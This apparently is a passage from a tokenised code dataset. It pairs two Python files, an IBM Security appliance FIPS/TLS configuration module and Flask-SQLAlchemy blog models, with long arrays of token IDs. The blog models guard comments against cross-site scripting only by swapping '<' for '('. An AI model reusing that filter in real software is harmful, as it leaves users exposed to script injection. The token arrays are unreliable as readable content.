29898, 29920, 1195, 13697, 13, 268, 13, 1678, 14770, 29889, 7620, 1003, 29898, 359, 29889, 2084, 29889, 7122, 29898, 449, 3972, 29892, 525, 9202, 29918, 18037, 29918, 16192, 29899, 29915, 718, 851, 29898, 4548, 333, 29918, 1195, 467, 29920, 5589, 29898, 29947, 29897, 718, 15300, 2732, 5477, 289, 1884, 29918, 262, 6609, 2433, 29873, 523, 1495, 13, 1678, 565, 451, 694, 29918, 7323, 14340, 29901, 13, 4706, 14770, 29889, 4294, 580, 13, 268, 13, 1753, 903, 1688, 7295, 13, 1678, 4646, 353, 525, 29906, 29900, 29906, 29900, 29900, 29896, 29941, 29896, 29915, 13, 1678, 1518, 4841, 353, 29871, 29946, 29945, 29946, 29946, 29953, 718, 7442, 29889, 279, 927, 29898, 29955, 29897, 13, 13, 1678, 8569, 29918, 26762, 29898, 11147, 29892, 1518, 4841, 29892, 2729, 381, 2433, 29914, 4836, 29914, 4836, 3972, 29879, 29914, 2783, 29875, 29914, 7193, 29914, 420, 275, 1089, 29914, 29954, 4519, 29914, 3389, 29914, 567, 29888, 29918, 1579, 1314, 29918, 7915, 287, 29918, 1760, 1007, 742, 714, 3972, 2433, 29889, 1495, 13, 13, 1753, 903, 1688, 29918, 27259, 29918, 11108, 7295, 13, 1678, 4646, 353, 525, 29906, 29900, 29906, 29900, 29900, 29896, 29941, 29896, 29915, 13, 1678, 1518, 4841, 353, 29871, 29946, 29945, 29946, 29947, 29945, 718, 7442, 29889, 279, 927, 29898, 29955, 29897, 13, 13, 1678, 8569, 29918, 26762, 29898, 11147, 29892, 1518, 4841, 29892, 2729, 381, 2433, 29914, 4836, 29914, 4836, 3972, 29879, 29914, 2783, 29875, 29914, 7193, 29914, 420, 275, 1089, 29914, 29954, 4519, 29914, 3389, 29914, 567, 29888, 29918, 1579, 1314, 29918, 7915, 287, 29918, 1760, 1007, 1495, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 5153, 29878, 353, 525, 29954, 4519, 8569, 5665, 24580, 29914, 15916, 29915, 13, 1678, 13812, 353, 1852, 5510, 29889, 15730, 11726, 29898, 8216, 29922, 2783, 7283, 29897, 13, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 4102, 29918, 4548, 333, 742, 1134, 29922, 524, 29892, 302, 5085, 29922, 29896, 29897, 13, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 11147, 742, 1134, 29922, 710, 29892, 302, 5085, 29922, 29896, 29897, 13, 268, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 6707, 381, 742, 2322, 2433, 29914, 29876, 29914, 5184, 29914, 14538, 973, 29879, 29914, 7193, 29914, 420, 275, 1089, 29914, 9313, 1133, 29914, 18037, 742, 13, 462, 4706, 1134, 29922, 710, 29892, 1371, 2433, 3188, 3884, 363, 402, 4519, 3724, 1953, 1495, 13, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 449, 3972, 742, 2322, 2433, 29914, 29876, 29914, 5184, 29914, 2783, 601, 29890, 2974, 29914, 18037, 29918, 16192, 29918, 2732, 29879, 742, 29871, 13, 462, 4706, 1134, 29922, 710, 29892, 1371, 2433, 4905, 3884, 363, 6492, 349, 9312, 29879, 1495, 13, 13, 1678, 13812, 29889, 1202, 29918, 23516, 877, 489, 1217, 29918, 7323, 14340, 742, 2322, 29922, 8824, 29892, 3158, 2433, 8899, 29918, 3009, 742, 13, 462, 4706, 1371, 2433, 3539, 349, 9312, 29879, 1728, 772, 3262, 701, 6492, 5417, 1495, 13, 13, 1678, 6389, 353, 13812, 29889, 5510, 29918, 5085, 580, 13, 13, 1678, 1518, 4841, 353, 6389, 29889, 4102, 29918, 4548, 333, 718, 7442, 29889, 279, 927, 29898, 29896, 29953, 29892, 26688, 29922, 524, 29897, 13, 13, 1678, 1596, 29898, 4548, 4841, 29897, 13, 1678, 1596, 29898, 5085, 29889, 11147, 29961, 29900, 2314, 13, 1678, 1596, 29898, 5085, 29889, 6707, 381, 29897, 13, 268, 13, 1678, 714, 3972, 353, 6389, 29889, 449, 3972, 565, 2897, 29889, 2084, 29889, 9933, 29898, 5085, 29889, 449, 3972, 29897, 1683, 525, 6169, 13, 1678, 8569, 29918, 26762, 29898, 5085, 29889, 11147, 29961, 29900, 1402, 1518, 4841, 29892, 2729, 381, 29922, 5085, 29889, 6707, 381, 29892, 714, 3972, 29922, 449, 3972, 29892, 694, 29918, 7323, 14340, 29922, 5085, 29889, 1217, 29918, 7323, 14340, 29897, 13, 2 ]
ibmsecurity/isam/base/fips.py
zone-zero/ibmsecurity
46
23646
import logging import ibmsecurity.utilities.tools import time logger = logging.getLogger(__name__) requires_model = "Appliance" def get(isamAppliance, check_mode=False, force=False): """ Retrieving the current FIPS Mode configuration """ return isamAppliance.invoke_get("Retrieving the current FIPS Mode configuration", "/fips_cfg", requires_model=requires_model) def set(isamAppliance, fipsEnabled=True, tlsv10Enabled=True, tlsv11Enabled=False, check_mode=False, force=False): """ Updating the FIPS Mode configuration """ obj = _check(isamAppliance, fipsEnabled, tlsv10Enabled, tlsv11Enabled) if force is True or obj['value'] is False: if check_mode is True: return isamAppliance.create_return_object(changed=True, warnings=obj['warnings']) else: return isamAppliance.invoke_put( "Updating the FIPS Mode configuration", "/fips_cfg", { "fipsEnabled": fipsEnabled, "tlsv10Enabled": tlsv10Enabled, "tlsv11Enabled": tlsv11Enabled }, requires_model=requires_model ) return isamAppliance.create_return_object(warnings=obj['warnings']) def restart(isamAppliance, check_mode=False, force=False): """ Rebooting and enabling the FIPS Mode configuration :param isamAppliance: :param check_mode: :param force: :return: """ if check_mode is True: return isamAppliance.create_return_object(changed=True) else: return isamAppliance.invoke_put( "Rebooting and enabling the FIPS Mode configuration", "/fips_cfg/restart", {}, requires_model=requires_model ) def restart_and_wait(isamAppliance, wait_time=300, check_freq=5, check_mode=False, force=False): """ Restart after FIPS configuration changes :param isamAppliance: :param wait_time: :param check_freq: :param check_mode: :param force: :return: """ if isamAppliance.facts['model'] != "Appliance": return isamAppliance.create_return_object( warnings="API invoked requires model: {0}, appliance is of deployment model: {1}.".format( requires_model, isamAppliance.facts['model'])) warnings = [] if check_mode is True: return isamAppliance.create_return_object(changed=True) else: firmware = ibmsecurity.isam.base.firmware.get(isamAppliance, check_mode=check_mode, force=force) ret_obj = restart(isamAppliance) if ret_obj['rc'] == 0: sec = 0 # Now check if it is up and running while 1: ret_obj = ibmsecurity.isam.base.firmware.get(isamAppliance, check_mode=check_mode, force=force, ignore_error=True) # check partition last_boot time if ret_obj['rc'] == 0 and isinstance(ret_obj['data'], list) and len(ret_obj['data']) > 0 and \ (('last_boot' in ret_obj['data'][0] and ret_obj['data'][0]['last_boot'] != firmware['data'][0][ 'last_boot'] and ret_obj['data'][0]['active'] == True) or ( 'last_boot' in ret_obj['data'][1] and ret_obj['data'][1]['last_boot'] != firmware['data'][1]['last_boot'] and ret_obj['data'][1]['active'] == True)): logger.info("Server is responding and has a different boot time!") return isamAppliance.create_return_object(warnings=warnings) else: time.sleep(check_freq) sec += check_freq logger.debug( "Server is not responding yet. Waited for {0} secs, next check in {1} secs.".format(sec, check_freq)) if sec >= wait_time: warnings.append( "The FIPS restart not detected or completed, exiting... after {0} seconds".format(sec)) break return isamAppliance.create_return_object(warnings=warnings) def _check(isamAppliance, fipsEnabled, tlsv10Enabled, tlsv11Enabled): obj = {'value': True, 'warnings': ""} ret_obj = get(isamAppliance) obj['warnings'] = ret_obj['warnings'] if ret_obj['data']['fipsEnabled'] != fipsEnabled: logger.info("fipsEnabled change to {0}".format(fipsEnabled)) obj['value'] = False return obj if ret_obj['data']['tlsv10Enabled'] != tlsv10Enabled: logger.info("TLS v1.0 change to {0}".format(tlsv10Enabled)) obj['value'] = False return obj if ret_obj['data']['tlsv11Enabled'] != tlsv11Enabled: logger.info("TLS v1.1 change to {0}".format(tlsv11Enabled)) obj['value'] = False return obj return obj def compare(isamAppliance1, isamAppliance2): ret_obj1 = get(isamAppliance1) ret_obj2 = get(isamAppliance2) return ibmsecurity.utilities.tools.json_compare(ret_obj1, ret_obj2, deleted_keys=[])
[ 1, 1053, 12183, 13, 5215, 474, 5838, 8926, 29889, 4422, 1907, 29889, 8504, 13, 5215, 931, 13, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 276, 339, 2658, 29918, 4299, 353, 376, 2052, 13036, 29908, 13, 13, 13, 1753, 679, 29898, 275, 314, 2052, 13036, 29892, 1423, 29918, 8513, 29922, 8824, 29892, 4889, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 19338, 1747, 278, 1857, 383, 5690, 29903, 21864, 5285, 13, 1678, 9995, 13, 1678, 736, 338, 314, 2052, 13036, 29889, 9772, 29918, 657, 703, 8015, 2546, 1747, 278, 1857, 383, 5690, 29903, 21864, 5285, 613, 13, 462, 462, 1678, 5591, 29888, 4512, 29918, 16859, 613, 6858, 29918, 4299, 29922, 276, 339, 2658, 29918, 4299, 29897, 13, 13, 13, 1753, 731, 29898, 275, 314, 2052, 13036, 29892, 285, 4512, 10861, 29922, 5574, 29892, 260, 3137, 29894, 29896, 29900, 10861, 29922, 5574, 29892, 260, 3137, 29894, 29896, 29896, 10861, 29922, 8824, 29892, 1423, 29918, 8513, 29922, 8824, 29892, 4889, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 5020, 26747, 278, 383, 5690, 29903, 21864, 5285, 13, 1678, 9995, 13, 13, 1678, 5446, 353, 903, 3198, 29898, 275, 314, 2052, 13036, 29892, 285, 4512, 10861, 29892, 260, 3137, 29894, 29896, 29900, 10861, 29892, 260, 3137, 29894, 29896, 29896, 10861, 29897, 13, 1678, 565, 4889, 338, 5852, 470, 5446, 1839, 1767, 2033, 338, 7700, 29901, 13, 4706, 565, 1423, 29918, 8513, 338, 5852, 29901, 13, 9651, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 15033, 29922, 5574, 29892, 18116, 29922, 5415, 1839, 25442, 886, 11287, 13, 4706, 1683, 29901, 13, 9651, 736, 338, 314, 2052, 13036, 29889, 9772, 29918, 649, 29898, 13, 18884, 376, 3373, 26747, 278, 383, 5690, 29903, 21864, 5285, 613, 13, 18884, 5591, 29888, 4512, 29918, 16859, 613, 13, 18884, 426, 13, 462, 1678, 376, 29888, 4512, 10861, 1115, 285, 4512, 10861, 29892, 13, 462, 1678, 376, 29873, 3137, 29894, 29896, 29900, 10861, 1115, 260, 3137, 29894, 29896, 29900, 10861, 29892, 13, 462, 1678, 376, 29873, 3137, 29894, 29896, 29896, 10861, 1115, 260, 3137, 29894, 29896, 29896, 10861, 13, 18884, 2981, 13, 18884, 6858, 29918, 4299, 29922, 276, 339, 2658, 29918, 4299, 13, 9651, 1723, 13, 13, 1678, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 25442, 886, 29922, 5415, 1839, 25442, 886, 11287, 13, 13, 13, 1753, 10715, 29898, 275, 314, 2052, 13036, 29892, 1423, 29918, 8513, 29922, 8824, 29892, 4889, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 12936, 3155, 292, 322, 427, 17961, 278, 383, 5690, 29903, 21864, 5285, 13, 1678, 584, 3207, 338, 314, 2052, 13036, 29901, 13, 1678, 584, 3207, 1423, 29918, 8513, 29901, 13, 1678, 584, 3207, 4889, 29901, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 565, 1423, 29918, 8513, 338, 5852, 29901, 13, 4706, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 15033, 29922, 5574, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 338, 314, 2052, 13036, 29889, 9772, 29918, 649, 29898, 13, 9651, 376, 29934, 774, 3155, 292, 322, 427, 17961, 278, 383, 5690, 29903, 21864, 5285, 613, 13, 9651, 5591, 29888, 4512, 29918, 16859, 29914, 5060, 442, 613, 13, 9651, 24335, 6858, 29918, 4299, 29922, 276, 339, 2658, 29918, 4299, 13, 4706, 1723, 13, 13, 13, 1753, 10715, 29918, 392, 29918, 10685, 29898, 275, 314, 2052, 13036, 29892, 4480, 29918, 2230, 29922, 29941, 29900, 29900, 29892, 1423, 29918, 29888, 7971, 29922, 29945, 29892, 1423, 29918, 8513, 29922, 8824, 29892, 4889, 29922, 8824, 1125, 13, 1678, 9995, 13, 1678, 11654, 442, 1156, 383, 5690, 29903, 5285, 3620, 13, 1678, 584, 3207, 338, 314, 2052, 13036, 29901, 13, 1678, 584, 3207, 4480, 29918, 2230, 29901, 13, 1678, 584, 3207, 1423, 29918, 29888, 7971, 29901, 13, 1678, 584, 3207, 1423, 29918, 8513, 29901, 13, 1678, 584, 3207, 4889, 29901, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 13, 1678, 565, 338, 314, 2052, 13036, 29889, 17028, 29879, 1839, 4299, 2033, 2804, 376, 2052, 13036, 1115, 13, 4706, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 13, 9651, 18116, 543, 8787, 22336, 6858, 1904, 29901, 426, 29900, 1118, 623, 13036, 338, 310, 18209, 1904, 29901, 426, 29896, 29913, 1213, 29889, 4830, 29898, 13, 18884, 6858, 29918, 4299, 29892, 338, 314, 2052, 13036, 29889, 17028, 29879, 1839, 4299, 25901, 13, 13, 1678, 18116, 353, 5159, 13, 1678, 565, 1423, 29918, 8513, 338, 5852, 29901, 13, 4706, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 15033, 29922, 5574, 29897, 13, 1678, 1683, 29901, 13, 4706, 9226, 2519, 353, 474, 5838, 8926, 29889, 275, 314, 29889, 3188, 29889, 29888, 3568, 2519, 29889, 657, 29898, 275, 314, 2052, 13036, 29892, 1423, 29918, 8513, 29922, 3198, 29918, 8513, 29892, 4889, 29922, 10118, 29897, 13, 13, 4706, 3240, 29918, 5415, 353, 10715, 29898, 275, 314, 2052, 13036, 29897, 13, 13, 4706, 565, 3240, 29918, 5415, 1839, 2214, 2033, 1275, 29871, 29900, 29901, 13, 9651, 5226, 353, 29871, 29900, 13, 13, 9651, 396, 2567, 1423, 565, 372, 338, 701, 322, 2734, 13, 9651, 1550, 29871, 29896, 29901, 13, 18884, 3240, 29918, 5415, 353, 474, 5838, 8926, 29889, 275, 314, 29889, 3188, 29889, 29888, 3568, 2519, 29889, 657, 29898, 275, 314, 2052, 13036, 29892, 1423, 29918, 8513, 29922, 3198, 29918, 8513, 29892, 4889, 29922, 10118, 29892, 13, 462, 462, 462, 632, 11455, 29918, 2704, 29922, 5574, 29897, 13, 13, 18884, 396, 1423, 8877, 1833, 29918, 4777, 931, 13, 18884, 565, 3240, 29918, 5415, 1839, 2214, 2033, 1275, 29871, 29900, 322, 338, 8758, 29898, 2267, 29918, 5415, 1839, 1272, 7464, 1051, 29897, 322, 7431, 29898, 2267, 29918, 5415, 1839, 1272, 11287, 1405, 29871, 29900, 322, 320, 13, 462, 4706, 313, 877, 4230, 29918, 4777, 29915, 297, 3240, 29918, 5415, 1839, 1272, 2033, 29961, 29900, 29962, 322, 3240, 29918, 5415, 1839, 1272, 2033, 29961, 29900, 22322, 4230, 29918, 4777, 2033, 2804, 9226, 2519, 1839, 1272, 2033, 29961, 29900, 3816, 13, 462, 9651, 525, 4230, 29918, 4777, 2033, 322, 3240, 29918, 5415, 1839, 1272, 2033, 29961, 29900, 22322, 4925, 2033, 1275, 5852, 29897, 470, 313, 13, 462, 462, 525, 4230, 29918, 4777, 29915, 297, 3240, 29918, 5415, 1839, 1272, 2033, 29961, 29896, 29962, 322, 3240, 29918, 5415, 1839, 1272, 2033, 29961, 29896, 22322, 4230, 29918, 4777, 2033, 2804, 13, 462, 462, 9226, 2519, 1839, 1272, 2033, 29961, 29896, 22322, 4230, 29918, 4777, 2033, 322, 3240, 29918, 5415, 1839, 1272, 2033, 29961, 29896, 22322, 4925, 2033, 1275, 5852, 22164, 13, 462, 1678, 17927, 29889, 3888, 703, 6004, 338, 10049, 292, 322, 756, 263, 1422, 6579, 931, 29991, 1159, 13, 462, 1678, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 25442, 886, 29922, 25442, 886, 29897, 13, 18884, 1683, 29901, 13, 462, 1678, 931, 29889, 17059, 29898, 3198, 29918, 29888, 7971, 29897, 13, 462, 1678, 5226, 4619, 1423, 29918, 29888, 7971, 13, 462, 1678, 17927, 29889, 8382, 29898, 13, 462, 4706, 376, 6004, 338, 451, 10049, 292, 3447, 29889, 20340, 287, 363, 426, 29900, 29913, 409, 2395, 29892, 2446, 1423, 297, 426, 29896, 29913, 409, 2395, 1213, 29889, 4830, 29898, 3471, 29892, 13, 462, 462, 462, 462, 462, 462, 9651, 1423, 29918, 29888, 7971, 876, 13, 13, 18884, 565, 5226, 6736, 4480, 29918, 2230, 29901, 13, 462, 1678, 18116, 29889, 4397, 29898, 13, 462, 4706, 376, 1576, 383, 5690, 29903, 10715, 451, 17809, 470, 8676, 29892, 6876, 292, 856, 1156, 426, 29900, 29913, 6923, 1642, 4830, 29898, 3471, 876, 13, 462, 1678, 2867, 13, 13, 1678, 736, 338, 314, 2052, 13036, 29889, 3258, 29918, 2457, 29918, 3318, 29898, 25442, 886, 29922, 25442, 886, 29897, 13, 13, 13, 1753, 903, 3198, 29898, 275, 314, 2052, 13036, 29892, 285, 4512, 10861, 29892, 260, 3137, 29894, 29896, 29900, 10861, 29892, 260, 3137, 29894, 29896, 29896, 10861, 1125, 13, 1678, 5446, 353, 11117, 1767, 2396, 5852, 29892, 525, 25442, 886, 2396, 5124, 29913, 13, 13, 1678, 3240, 29918, 5415, 353, 679, 29898, 275, 314, 2052, 13036, 29897, 13, 1678, 5446, 1839, 25442, 886, 2033, 353, 3240, 29918, 5415, 1839, 25442, 886, 2033, 13, 13, 1678, 565, 3240, 29918, 5415, 1839, 1272, 16215, 29888, 4512, 10861, 2033, 2804, 285, 4512, 10861, 29901, 13, 4706, 17927, 29889, 3888, 703, 29888, 4512, 10861, 1735, 304, 426, 29900, 29913, 1642, 4830, 29898, 29888, 4512, 10861, 876, 13, 4706, 5446, 1839, 1767, 2033, 353, 7700, 13, 4706, 736, 5446, 13, 13, 1678, 565, 3240, 29918, 5415, 1839, 1272, 16215, 29873, 3137, 29894, 29896, 29900, 10861, 2033, 2804, 260, 3137, 29894, 29896, 29900, 10861, 29901, 13, 4706, 17927, 29889, 3888, 703, 29911, 8547, 325, 29896, 29889, 29900, 1735, 304, 426, 29900, 29913, 1642, 4830, 29898, 29873, 3137, 29894, 29896, 29900, 10861, 876, 13, 4706, 5446, 1839, 1767, 2033, 353, 7700, 13, 4706, 736, 5446, 13, 13, 1678, 565, 3240, 29918, 5415, 1839, 1272, 16215, 29873, 3137, 29894, 29896, 29896, 10861, 2033, 2804, 260, 3137, 29894, 29896, 29896, 10861, 29901, 13, 4706, 17927, 29889, 3888, 703, 29911, 8547, 325, 29896, 29889, 29896, 1735, 304, 426, 29900, 29913, 1642, 4830, 29898, 29873, 3137, 29894, 29896, 29896, 10861, 876, 13, 4706, 5446, 1839, 1767, 2033, 353, 7700, 13, 4706, 736, 5446, 13, 13, 1678, 736, 5446, 13, 13, 13, 1753, 7252, 29898, 275, 314, 2052, 13036, 29896, 29892, 338, 314, 2052, 13036, 29906, 1125, 13, 1678, 3240, 29918, 5415, 29896, 353, 679, 29898, 275, 314, 2052, 13036, 29896, 29897, 13, 1678, 3240, 29918, 5415, 29906, 353, 679, 29898, 275, 314, 2052, 13036, 29906, 29897, 13, 13, 1678, 736, 474, 5838, 8926, 29889, 4422, 1907, 29889, 8504, 29889, 3126, 29918, 18307, 29898, 2267, 29918, 5415, 29896, 29892, 3240, 29918, 5415, 29906, 29892, 11132, 29918, 8149, 11759, 2314, 13, 2 ]
info/models.py
oychao1988/WebServer
0
1611474
<filename>info/models.py from datetime import datetime from werkzeug.security import generate_password_hash, check_password_hash from info import constants from . import db class BaseModel(object): """模型基类,为每个模型补充创建时间与更新时间""" create_time = db.Column(db.DateTime, default=datetime.now) # 记录的创建时间 update_time = db.Column(db.DateTime, default=datetime.now, onupdate=datetime.now) # 记录的更新时间 class AdminUser(BaseModel, db.Model): """用户""" __tablename__ = "info_adminuser" id = db.Column(db.Integer, primary_key=True) # 编号 card_name = db.Column(db.String(64), nullable=False) # 名片名字 card_avatar = db.Column(db.String(64), nullable=False) # 名片头像 card_about = db.Column(db.String(64), nullable=False) # 名片介绍 card_job = db.Column(db.String(64), nullable=False) # 名片职位 title = db.Column(db.String(64), nullable=False) # 网站标题 description = db.Column(db.String(256), nullable=False) # 描述信息 keywords = db.Column(db.String(256), nullable=False) # SEO关键词 email = db.Column(db.String(64), nullable=False) # 邮箱 qq = db.Column(db.String(32), nullable=False) # qq wxid = db.Column(db.String(64), nullable=False) # 邮箱 wxcode = db.Column(db.String(64), nullable=False) # 微信二维码账号 butoom_title = db.Column(db.String(64), nullable=False) # 底部标题 beian = db.Column(db.String(64), nullable=False) # 底部备案 logo_name = db.Column(db.String(64), nullable=False) # logo名字 logo_image = db.Column(db.String(64), nullable=False) # logo图片链接 about_me = db.Column(db.Text, nullable=False) # 关于我 tags = db.Column(db.String(256), nullable=False) # 标签云词 def to_dict(self): resp_dict = { "id": self.id, "title": self.title, "description": self.description, "keywords": self.keywords, "email": self.email, "qq": self.qq, "tags": self.tags, "wxid": self.wxid, "wxcode": self.wxcode, "butoom_title": self.butoom_title, "beian": self.beian, "about_me": self.about_me, "card_name": self.card_name, "card_job": self.card_job, "card_about": self.card_about, "card_avatar": self.card_avatar, "update_time": self.update_time.strftime("%Y-%m-%d %H:%M:%S"), "logo_name": self.logo_name, "logo_image": self.logo_image, } return resp_dict def to_index_dict(self): resp_dict = { "id": self.id, "title": self.title, "description": self.description, "keywords": self.keywords, "card_avatar": self.card_avatar, "email": self.email, "qq": self.qq, "card_name": self.card_name, "card_job": self.card_job, "card_about": self.card_about, "tags": self.tags.split(','), "about_me": self.about_me, "wxid": self.wxid, "wxcode": self.wxcode, "butoom_title": self.butoom_title, "beian": self.beian, "logo_name": self.logo_name, "logo_image": self.logo_image, } return resp_dict class User(BaseModel, db.Model): """用户""" __tablename__ = "info_user" id = db.Column(db.Integer, primary_key=True) # 用户编号 nick_name = db.Column(db.String(32), unique=True, nullable=False) # 用户昵称 password_hash = db.Column(db.String(128), nullable=False) # 加密的密码 mobile = db.Column(db.String(11), unique=True, nullable=False) # 手机号 avatar_url = db.Column(db.String(256)) # 用户头像路径 last_login = db.Column(db.DateTime, default=datetime.now) # 最后一次登录时间 is_admin = db.Column(db.Boolean, default=False) signature = db.Column(db.String(512)) # 用户签名 gender = db.Column( # 性别 db.Enum( "MAN", # 男 "WOMAN" # 女 ), default="MAN") @property def password(self): raise AttributeError("当前属性不可读") @password.setter def password(self, value): self.password_hash = generate_password_hash(value) def check_passowrd(self, password): return check_password_hash(self.password_hash, password) def to_dict(self): resp_dict = { "id": self.id, "nick_name": self.nick_name, "avatar_url": self.avatar_url, # constants.QINIU_DOMIN_PREFIX + self.avatar_url if self.avatar_url else "", "mobile": self.mobile, "gender": self.gender if self.gender else "MAN", "signature": self.signature if self.signature else "", } return resp_dict def to_admin_dict(self): resp_dict = { "id": self.id, "nick_name": self.nick_name, "mobile": self.mobile, "register": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "last_login": self.last_login.strftime("%Y-%m-%d %H:%M:%S"), } return resp_dict class NewsAction(BaseModel, db.Model): """文章状态:是否首页推荐或特别推荐,通过第三张表来快速查询被推荐的文章""" __tablename__ = "info_news_action" id = db.Column(db.Integer, primary_key=True) news_id = db.Column(db.Integer, db.ForeignKey("info_news.id")) # 外键关联文章id is_banner = db.Column(db.Boolean, default=False) # 是否首页banner推荐 is_top = db.Column(db.Boolean, default=False) # 是否top推荐 is_tuijian = db.Column(db.Boolean, default=False) # 是否特别推荐 # 查询所有内容 news_action = db.relationship('News', backref=db.backref('action', lazy='dynamic')) class News(BaseModel, db.Model): """文章""" __tablename__ = "info_news" id = db.Column(db.Integer, primary_key=True) # 文章编号 title = db.Column(db.String(64), nullable=False) # 文章标题 source = db.Column(db.String(64), default="wberica", nullable=False) # 文章来源 digest = db.Column(db.String(512), nullable=False) # 文章摘要 content = db.Column(db.Text, nullable=False) # 文章内容 clicks = db.Column(db.Integer, default=0) # 浏览量 index_image_url = db.Column(db.String(256)) # 文章列表图片路径 category_id = db.Column(db.Integer, db.ForeignKey("info_category.id")) status = db.Column(db.Integer, default=0) # 当前文章状态 如果为0代展示,1为逻辑删除 like_count = db.Column(db.Integer, default=0) # 文章点赞数 # 当前新闻的所有评论 comments = db.relationship("Comment", lazy="dynamic", cascade='all, delete-orphan', passive_deletes=True) __table_args__ = { "mysql_charset": "utf8mb4" } def to_review_dict(self): resp_dict = { "id": self.id, "title": self.title, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "status": self.status, "reason": self.reason if self.reason else "" } return resp_dict def to_basic_dict(self): resp_dict = { "id": self.id, "title": self.title, "source": self.source, "digest": self.digest, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "create_date": self.create_time.strftime("%Y-%m-%d"), "index_image_url": self.index_image_url, "clicks": self.clicks, } return resp_dict def to_dict(self): resp_dict = { "id": self.id, "title": self.title, "source": self.source if self.source else "棋子。", "digest": self.digest, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "create_date": self.create_time.strftime("%Y-%m-%d"), "content": self.content, "comments_count": self.comments.count(), "clicks": self.clicks, "category": self.category.to_dict(), "index_image_url": self.index_image_url, "like_count": self.like_count if self.like_count else 0, # "author": self.user.to_dict() if self.user else None, } return resp_dict class Comment(BaseModel, db.Model): """评论""" __tablename__ = "info_comment" id = db.Column(db.Integer, primary_key=True) # 评论编号 news_id = db.Column(db.Integer, db.ForeignKey("info_news.id", ondelete='CASCADE'), nullable=False) # 新闻id content = db.Column(db.Text, nullable=False) # 评论内容 # 自关联级联删除直接在外键设置里面增加ondelete='CASCADE' parent_id = db.Column(db.Integer, db.ForeignKey("info_comment.id", ondelete='CASCADE')) # 父评论id parent = db.relationship("Comment", remote_side=[id]) # 自关联 like_count = db.Column(db.Integer, default=0) # 点赞条数 # 设置数据库表编码方式为utf8mb4 __table_args__ = { "mysql_charset": "utf8mb4" } def to_dict(self): resp_dict = { "id": self.id, "create_time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), # 过滤尖括号防止xss # "content": self.content, "content": self.content.replace('<', '(') if '<' in self.content else self.content, "parent": self.parent.to_dict() if self.parent else None, "news_id": self.news_id, "like_count": self.like_count } return resp_dict class Category(BaseModel, db.Model): """分类""" __tablename__ = "info_category" id = db.Column(db.Integer, primary_key=True) # 分类编号 name = db.Column(db.String(64), nullable=False) # 分类名 news_list = db.relationship('News', backref='category', lazy='dynamic') def to_dict(self): resp_dict = { "id": self.id, "name": self.name } return resp_dict class Link(BaseModel, db.Model): """友情链接""" __tablename__ = "info_link" id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(32), nullable=True) url = db.Column(db.String(32), nullable=True) # 设置数据库表编码方式为utf8mb4 __table_args__ = { "mysql_charset": "utf8mb4" } def to_dict(self): resp_dict = { "id": self.id, "name": self.name, "url": self.url, } return resp_dict class Gbook(BaseModel, db.Model): """评论""" __tablename__ = "info_gbook" id = db.Column(db.Integer, primary_key=True) # 留言编号 ip = db.Column(db.String(32), nullable=True) # ip replyName = db.Column(db.String(16), default='热心网民', nullable=True) # 评论昵称 beReplyName = db.Column(db.String(16), nullable=True) # 被回复者昵称 email = db.Column(db.String(32), nullable=True) # 邮箱 browser = db.Column(db.String(16), nullable=True) # 浏览器 os_name = db.Column(db.String(16), nullable=True) # 操作系统 content = db.Column(db.Text, nullable=False) # 留言内容 son_id = db.Column(db.Integer, db.ForeignKey("info_gbook.id", ondelete='CASCADE')) # 自评论id son = db.relationship("Gbook", remote_side=[id]) # 自关联 # 设置数据库表编码方式为utf8mb4 __table_args__ = { "mysql_charset": "utf8mb4" } def to_dict(self): resp_dict = { "id": self.id, "ip": self.ip if self.ip else "127.0.0.1", "img": "http://blog.xiaosankexing.com/FkYTTlB4LR8g0RT2tq_xcpk5aRIy", "browser": self.browser if self.browser else "", "os_name": self.os_name if self.os_name else "", "time": self.create_time.strftime("%Y-%m-%d %H:%M:%S"), "replyName": self.replyName if self.replyName else "热心网民", # "content": self.content, "content": self.content.replace('<', '(') if '<' in self.content else self.content, "replyBody": [self.son.to_dict()] if self.son else "", "beReplyName": self.beReplyName if self.beReplyName else "热心网民", "create_time": self.create_time, } return resp_dict
